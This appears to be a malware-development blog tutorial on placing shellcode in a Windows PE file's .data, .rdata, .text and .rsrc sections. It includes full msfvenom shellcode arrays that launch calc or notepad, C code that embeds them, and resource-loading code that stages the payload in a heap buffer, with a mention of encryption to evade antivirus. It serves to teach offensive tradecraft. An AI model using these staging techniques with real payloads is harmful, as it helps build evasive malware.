PE Payload Placement
"The best defense is a good offense" - said somebody... probably...
When placing your payload inside a Portable Executable (PE), there are several options. The location of your payload is determined by the section you choose to place it in. I will be discussing the placement of payloads within the following PE sections:
.data
The .data section of a PE contains the initialized variables (both static and global) within a program. It's important to note that this section had READ/WRITE permissions, BUT does not contain EXECUTE permissions. That permission is reserved for the .text section which I'll cover later in this module.
The code snippet below shows a payload (unsigned char Data_RawData[]) that will be stored in the .data section of a PE once executed:
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
// .data saved payload
unsigned char Data_RawData[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
int main() {
printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
.rdata
The .rdata section contains the read-only data that is globally accessible within the program. We will achieve writing to the .rdata section by using the const qualifier when declaring our payload variable. Constant variables are considered to be read-only data.
The code snippet below shows a payload (const unsigned char Rdata_RawData[]) that will be stored in the .rdata section of a PE once executed:
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
const unsigned char Rdata_RawData[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
int main() {
printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
.text
The .text section of a PE usually contains the code that is to be executed by the process. This section has the following characteristics: CODE, EXECUTE, and READ. Meaning that the section cannot be written to, only read and executed. Implementing this into our code is going to be a little different from the previous two sections.
Refer to the following code snippet:
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Let's begin with the pragma section(".text") declaration. The pragma section line is a compiler directive that tells the compiler to place data in a specified section. The __declspec(allocate(".text")) keyword then tells the compiler to place the specific data (in this case, Text_RawData[]) in the “.text” section. Let's open up the program using a reversing tool to make sure that our data is in the .text section.
For this example I will be using PE-bear:
And boom! We successfully placed a payload into the .text section of a PE.
.rsrc
Malware saved in .data or .rdata may not be suitable for larger payloads. Not because there is a defined size limitation, but rather a combination of factors that influence the size of those sections. In contrast, the .rsrc is suitable for larger payloads and is considered to be a cleaner method by malware authors when deciding to choose a section. Below I will show you a step-by-step approach in creating a payload stored within the .rsrc section of a PE.
Let's begin by creating a resource file for our project in Visual Studio:
The following options come up:
Select "Resource File" or (rc). A new sidebar called "Resource View" will populate your Visual Studio application as such:
From here we will right click the auto-generated folder and select "Add Resource". The following menu will popup:
Once the menu pops up we will select the import option and import our RAW payload, in this case being calc.ico. It is important to note that we modified extension the extension to be .ico for our payload to successfully import.
Following our selection, a prompt asking for a resource type will appear. This is where we will specify RCDATA:
Select OK. Now our resource header file has been created and can be imported into our main c program! Here is a snippet of what the header file should look like:
Now we will compile and be able to store our payload in the .rsrc section. Note that we will be using several WinAPIs to access it. The following is a list of the APIs (https://maldevacademy.com, 2022):
- FindResourceW - Get the location of the specified data stored in the resource section of a special ID passed in (this is defined in the header file)
- LoadResource - Retrieves a
HGLOBAL handle of the resource data. This handle can be used to obtain the base address of the specified resource in memory. - LockResource - Obtain a pointer to the specified data in the resource section from its handle.
- SizeofResource - Get the size of the specified data in the resource section.
Below is the code I used. I have added comments to help explain what the program is doing:
#include <stdio.h>
#include <Windows.h>
#include "resource.h" // importing resource header
int main() {
HRSRC hRsrc = NULL; // Declare a handle to a resource. This will be used to locate the resource in memory.
HGLOBAL hGlobal = NULL; // Declare a handle to a global memory block. This will be used to load the resource into global memory.
PVOID pPayloadAddress = NULL; // Declare a pointer to the payload's address. This will point to the start of the payload data once it's loaded.
SIZE_T sPayloadSize = NULL; // Declare a variable to hold the size of the payload. This will be used to store the size of the payload data.
// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
// in case of function failure
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
// in case of function failure
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the address of our payload in .rsrc section
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
// in case of function failure
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the size of our payload in .rsrc section
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
// in case of function failure
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Printing pointer and size to the screen
printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
When compiled, we can see that the payload was successfully placed using the VS debugger:
Note that the payload is now in the .rsrc section, which has READ memory only. For us to be able to modify the payload we will need to create a buffer of the same size and copy it over. In this new buffer more complex mechanisms such as encryption to evade anti-viruses can be used. The following code snippet will update the previous one I provided to create a new buffer for the payload using memcpy:
#include <stdio.h>
#include <Windows.h>
#include "resource.h" // importing resource header
int main() {
HRSRC hRsrc = NULL; // Declare a handle to a resource. This will be used to locate the resource in memory.
HGLOBAL hGlobal = NULL; // Declare a handle to a global memory block. This will be used to load the resource into global memory.
PVOID pPayloadAddress = NULL; // Declare a pointer to the payload's address. This will point to the start of the payload data once it's loaded.
SIZE_T sPayloadSize = NULL; // Declare a variable to hold the size of the payload. This will be used to store the size of the payload data.
// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
// in case of function failure
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
// in case of function failure
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the address of our payload in .rsrc section
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
// in case of function failure
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the size of our payload in .rsrc section
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
// in case of function failure
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Printing pointer and size to the screen
printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
// Allocating memory using a HeapAlloc call
PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
if (pTmpBuffer != NULL) {
// copying the payload from resource section to the new buffer
memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize);
}
// Printing the base address of our buffer (pTmpBuffer)
printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Now we compile and debug to confirm that our code is working:
Wrapping Things Up
The location of a payload within a PE file can significantly impact its behavior and detection rate. Whether it’s the .data, .rdata, .text, or .rsrc section, each comes with its own set of characteristics and considerations.
Remember, while the .data and .rdata sections are commonly used for storing data, they may not be suitable for larger payloads due to factors such as memory management and load time. On the other hand, the .text section, which is typically reserved for executable code, has its own set of restrictions.
Interestingly, the .rsrc section emerges as a viable alternative for storing larger payloads, making it a popular choice among malware authors. However, as with all things in cybersecurity, it’s a constant game of cat and mouse. As detection techniques evolve, so do the methods employed by malware authors.
I hope this blog has provided you with valuable insights into the placement of payloads within PE files. As always, stay curious, keep learning, and always question the status quo. And remember - the best defense is a good offense. Stay ahead of the game by understanding the tactics employed by adversaries.